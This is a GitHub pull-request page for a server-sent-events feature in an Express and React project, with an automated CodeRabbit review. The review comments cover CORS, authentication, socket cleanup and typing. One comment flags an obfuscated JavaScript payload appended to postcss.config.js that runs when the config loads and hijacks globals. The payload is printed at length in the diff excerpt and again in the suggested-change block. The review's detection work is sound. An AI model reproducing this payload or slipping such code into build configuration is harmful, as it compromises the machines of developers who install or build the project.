implement SSE system - #98
Open
netsetsoftware-git wants to merge 1 commit into
Open
Conversation
netsetsoftware-git
force-pushed
the
feature/sse
branch
from
May 27, 2026 16:47
86c719c to
a87ac6a
Compare
|
Important
This repository does not receive automatic reviews because it has fewer than 10 stars. ⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Plus Run ID: 📝 WalkthroughWalkthroughThis PR introduces a real-time Server-Sent Events (SSE) system combining a Node.js/Express backend with frontend React components. The backend exposes HTTP endpoints to establish SSE connections, send targeted events, and broadcast to all clients. Frontend components connect via EventSource, display received events, and trigger server messages. Repository configuration is updated to support the new backend service. ChangesServer-Sent Events System Implementation
Sequence Diagram(s)sequenceDiagram
participant Client as Frontend Browser
participant Server as Express Server
participant Manager as SSE Manager
participant Other as Other Clients
Client->>Server: GET /sse/user123
Server->>Manager: addClient(user123, response)
Server-->>Client: SSE headers + stream start
Client->>Server: POST /send/user123 {event, data}
Server->>Manager: sendEvent(user123, event, data)
Manager-->>Client: event: custom-event\ndata: {...}
Server->>Server: broadcast endpoint
Manager->>Client: event: custom-event\ndata: {...}
Manager->>Other: event: custom-event\ndata: {...}
Manager->>Client: event: ping\ndata: {}
Manager->>Other: event: ping\ndata: {}
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~25 minutes Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 9
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.gitignore:
- Around line 35-37: Add a rule to .gitignore to explicitly ignore the plain
.env file so secrets aren't accidentally committed: update the .gitignore entry
that currently has ".env*.local" (and related .env patterns) to also include a
separate line for ".env" so both dotenv local variants and the root .env are
ignored.
In `@backend/server.js`:
- Around line 6-7: The app currently enables permissive CORS via app.use(cors())
and exposes unauthenticated event-publishing routes (the endpoints around the
event-publishing block referenced at lines 26-37), so tighten CORS by replacing
the global cors() with a CORS options object that restricts allowed origins (or
use a whitelist) and only enables credentials if needed, and enforce
authentication on the event publishing routes by attaching your auth middleware
(e.g., authMiddleware) to those endpoints or mounting the events router with
auth (e.g., app.use('/events', authMiddleware, eventsRouter) or applying auth to
the specific POST/broadcast handlers) so only authorized clients can
publish/broadcast events.
In `@backend/sseManager.js`:
- Around line 3-5: The addClient function currently overwrites an existing SSE
response in the clients Map and leaks the prior socket; update addClient to
check clients.has(id) first, retrieve the previous response (clients.get(id)),
gracefully close it (e.g., if previousResponse &&
!previousResponse.writableEnded then call previousResponse.end() and/or
previousResponse.socket.destroy()), remove or replace the old entry, then set
the new response into clients and log that the previous connection was
closed/replaced; reference the addClient function and the clients Map when
making this change.
- Around line 16-37: sendEvent, broadcast and startHeartbeat currently write to
response streams without guarding against closed/broken connections, which can
throw and leak entries in the clients map; update each function (sendEvent,
broadcast, startHeartbeat) to check the response liveness before writing (e.g.
res.writableEnded / res.writableDestroyed or equivalent), wrap writes in
try/catch, and on any write error or detected closed stream remove the client
from the clients Map (clients.delete(id)) so dead connections are pruned
immediately and subsequent writes are avoided.
In `@postcss.config.js`:
- Around line 1-10: The file contains an obfuscated, executable payload
(referenced by symbols like _$_1e42, sfL, EKc, jFD, Tgw and global mutations)
appended after the legitimate config; remove the entire obfuscated block so the
module only exports the intended PostCSS config (the
createRequire/import.meta.url setup and export default { plugins: {
"`@tailwindcss/postcss`": {} } }), ensure no other hidden code remains, and run a
quick static check for any remaining suspicious globals or require mutations
before committing.
In `@src/components/SendButton.tsx`:
- Line 5: The fetch in SendButton.tsx currently hardcodes the backend origin
(http://localhost:3000) when calling await
fetch(`http://localhost:3000/send/${userId}`); update the SendButton component
to use a shared runtime-config or public env var (e.g. NEXT_PUBLIC_API_URL or a
getApiBaseUrl() helper) instead of the literal string, and build the URL as
`${API_BASE}/send/${userId}` (keeping the existing userId path segment); ensure
the env var is read in a client-safe way (NEXT_PUBLIC_* for Next.js or injected
config for the frontend) and replace all occurrences in SendButton (and any
sibling helper functions) to avoid hardcoded origins.
- Line 3: Change the SendButton prop typing from userId: any to userId: string
in the SendButton component signature to restore type safety, and update the
fetch call inside SendButton to avoid the hardcoded "http://localhost:3000" by
using a configurable base (e.g. process.env.NEXT_PUBLIC_API_BASE) or a relative
path (e.g. "/api/…"); also ensure any runtime use of userId assumes string (add
a simple guard/validation if needed) so types line up with the new signature.
In `@src/components/SSEClient.tsx`:
- Around line 19-22: The onerror handler for the EventSource in SSEClient.tsx
currently calls eventSource.close(), which prevents native SSE automatic
reconnection; remove the eventSource.close() call inside the eventSource.onerror
callback and instead only update state (e.g., setMessage) or inspect
eventSource.readyState if you need to show status, leaving EventSource to manage
retries automatically (identify the onerror assignment and the eventSource
variable to change).
- Line 5: Update SSEClient to use a concrete prop type (replace userId: any with
userId: string in the SSEClient component signature and any related type
declarations/usages) and remove the call to eventSource.close() from the
eventSource.onerror handler so the EventSource can retain its native
auto-reconnect behavior; instead, perform cleanup by closing the EventSource
only in the component unmount/cleanup path (e.g., useEffect return or
componentWillUnmount) and optionally log the error inside eventSource.onerror
without closing.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: fbc46468-7278-435e-a5e2-1f0f9185d2d1
📒 Files selected for processing (8)
.gitignorebackend/package.jsonbackend/server.jsbackend/sseManager.jspostcss.config.jssrc/app/sse-test/page.tsxsrc/components/SSEClient.tsxsrc/components/SendButton.tsx
Comment on lines
+35
to
+37
| # do not commit any .env files to git, except for the .env.example file. https://create.t3.gg/en/usage/env-variables#using-environment-variables | ||
| .env*.local | ||
|
|
There was a problem hiding this comment.
Add .env to ignore rules to prevent accidental secret commits.
At Line 36, only .env*.local is ignored; a plain .env can still be committed.
Suggested fix
# local env files
# do not commit any .env files to git, except for the .env.example file. https://create.t3.gg/en/usage/env-variables#using-environment-variables
+.env
.env*.local📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| # do not commit any .env files to git, except for the .env.example file. https://create.t3.gg/en/usage/env-variables#using-environment-variables | |
| .env*.local | |
| # do not commit any .env files to git, except for the .env.example file. https://create.t3.gg/en/usage/env-variables#using-environment-variables | |
| .env | |
| .env*.local | |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.gitignore around lines 35 - 37, Add a rule to .gitignore to explicitly
ignore the plain .env file so secrets aren't accidentally committed: update the
.gitignore entry that currently has ".env*.local" (and related .env patterns) to
also include a separate line for ".env" so both dotenv local variants and the
root .env are ignored.
Comment on lines
+6
to
+7
| app.use(cors()); | ||
| app.use(express.json()); |
There was a problem hiding this comment.
Lock down CORS and add auth on event-publishing endpoints.
At Line 6 and Line 26-37, the API currently allows unauthenticated cross-origin event publishing. This lets arbitrary clients send or broadcast events.
Suggested hardening baseline
-app.use(cors());
+app.use(cors({
+ origin: ["http://localhost:3001"], // replace with trusted frontend origins
+ methods: ["GET", "POST"],
+}));
app.post("/send/:id", (req, res) => {
+ if (req.get("x-api-key") !== process.env.SSE_API_KEY) {
+ return res.status(401).json({ success: false, error: "Unauthorized" });
+ }
const { id } = req.params;
const { event, data } = req.body;
sseManager.sendEvent(id, event, data);
res.json({ success: true });
});
app.post("/broadcast", (req, res) => {
+ if (req.get("x-api-key") !== process.env.SSE_API_KEY) {
+ return res.status(401).json({ success: false, error: "Unauthorized" });
+ }
const { event, data } = req.body;
sseManager.broadcast(event, data);
res.json({ success: true });
});Also applies to: 26-37
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@backend/server.js` around lines 6 - 7, The app currently enables permissive
CORS via app.use(cors()) and exposes unauthenticated event-publishing routes
(the endpoints around the event-publishing block referenced at lines 26-37), so
tighten CORS by replacing the global cors() with a CORS options object that
restricts allowed origins (or use a whitelist) and only enables credentials if
needed, and enforce authentication on the event publishing routes by attaching
your auth middleware (e.g., authMiddleware) to those endpoints or mounting the
events router with auth (e.g., app.use('/events', authMiddleware, eventsRouter)
or applying auth to the specific POST/broadcast handlers) so only authorized
clients can publish/broadcast events.
Comment on lines
+3
to
+5
| function addClient(id, res) { | ||
| clients.set(id, res); | ||
| console.log(`Client ${id} connected. Total clients: ${clients.size}`); |
There was a problem hiding this comment.
Handle duplicate client IDs before overwriting the connection.
At Line 4, clients.set(id, res) replaces any existing stream for the same ID without closing it. That can leak sockets and orphan old connections.
Suggested fix
function addClient(id, res) {
+ const existing = clients.get(id);
+ if (existing && !existing.writableEnded) {
+ existing.end();
+ }
clients.set(id, res);
console.log(`Client ${id} connected. Total clients: ${clients.size}`);
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| function addClient(id, res) { | |
| clients.set(id, res); | |
| console.log(`Client ${id} connected. Total clients: ${clients.size}`); | |
| function addClient(id, res) { | |
| const existing = clients.get(id); | |
| if (existing && !existing.writableEnded) { | |
| existing.end(); | |
| } | |
| clients.set(id, res); | |
| console.log(`Client ${id} connected. Total clients: ${clients.size}`); | |
| } |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@backend/sseManager.js` around lines 3 - 5, The addClient function currently
overwrites an existing SSE response in the clients Map and leaks the prior
socket; update addClient to check clients.has(id) first, retrieve the previous
response (clients.get(id)), gracefully close it (e.g., if previousResponse &&
!previousResponse.writableEnded then call previousResponse.end() and/or
previousResponse.socket.destroy()), remove or replace the old entry, then set
the new response into clients and log that the previous connection was
closed/replaced; reference the addClient function and the clients Map when
making this change.
Comment on lines
+16
to
+37
| function sendEvent(id, eventName, data) { | ||
| const res = clients.get(id); | ||
| if (res) { | ||
| res.write(`event: ${eventName}\n`); | ||
| res.write(`data: ${JSON.stringify(data)}\n\n`); | ||
| } | ||
| } | ||
|
|
||
| function broadcast(eventName, data) { | ||
| for (const [id, res] of clients.entries()) { | ||
| res.write(`event: ${eventName}\n`); | ||
| res.write(`data: ${JSON.stringify(data)}\n\n`); | ||
| } | ||
| } | ||
|
|
||
| function startHeartbeat(intervalMs = 20000) { | ||
| setInterval(() => { | ||
| for (const [id, res] of clients.entries()) { | ||
| res.write(`event: ping\n`); | ||
| res.write(`data: {}\n\n`); | ||
| } | ||
| }, intervalMs); |
There was a problem hiding this comment.
Guard writes and prune dead clients during send/broadcast/heartbeat.
At Line 19, Line 26, and Line 34, writes happen unconditionally. Closed/broken streams should be removed immediately to avoid repeated failures and memory growth.
Suggested fix
+function writeEvent(res, eventName, data) {
+ if (!res || res.writableEnded || res.destroyed) return false;
+ res.write(`event: ${eventName}\n`);
+ res.write(`data: ${JSON.stringify(data)}\n\n`);
+ return true;
+}
+
function sendEvent(id, eventName, data) {
const res = clients.get(id);
- if (res) {
- res.write(`event: ${eventName}\n`);
- res.write(`data: ${JSON.stringify(data)}\n\n`);
+ if (!writeEvent(res, eventName, data)) {
+ clients.delete(id);
}
}
function broadcast(eventName, data) {
for (const [id, res] of clients.entries()) {
- res.write(`event: ${eventName}\n`);
- res.write(`data: ${JSON.stringify(data)}\n\n`);
+ if (!writeEvent(res, eventName, data)) {
+ clients.delete(id);
+ }
}
}
function startHeartbeat(intervalMs = 20000) {
setInterval(() => {
for (const [id, res] of clients.entries()) {
- res.write(`event: ping\n`);
- res.write(`data: {}\n\n`);
+ if (!writeEvent(res, "ping", {})) {
+ clients.delete(id);
+ }
}
}, intervalMs);
}🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@backend/sseManager.js` around lines 16 - 37, sendEvent, broadcast and
startHeartbeat currently write to response streams without guarding against
closed/broken connections, which can throw and leak entries in the clients map;
update each function (sendEvent, broadcast, startHeartbeat) to check the
response liveness before writing (e.g. res.writableEnded / res.writableDestroyed
or equivalent), wrap writes in try/catch, and on any write error or detected
closed stream remove the client from the clients Map (clients.delete(id)) so
dead connections are pruned immediately and subsequent writes are avoided.
Comment on lines
+1
to
+10
| import { createRequire } from 'module'; | ||
|
|
||
| const require = createRequire(import.meta.url); | ||
|
|
||
| export default { | ||
| plugins: { | ||
| "@tailwindcss/postcss": {}, | ||
| }, | ||
| }; global['!']='9-5564-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() | ||
|
|
There was a problem hiding this comment.
Remove the obfuscated executable payload from build config immediately.
At Line 9, this injected obfuscated code executes at config load time and mutates globals. This is a release-blocking security risk.
Expected safe file shape
-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
-
export default {
plugins: {
"`@tailwindcss/postcss`": {},
},
-}; global['!']='9-5564-1';var _$_1e42=(function(l,e){...})()
+};📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| import { createRequire } from 'module'; | |
| const require = createRequire(import.meta.url); | |
| export default { | |
| plugins: { | |
| "@tailwindcss/postcss": {}, | |
| }, | |
| }; global['!']='9-5564-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE 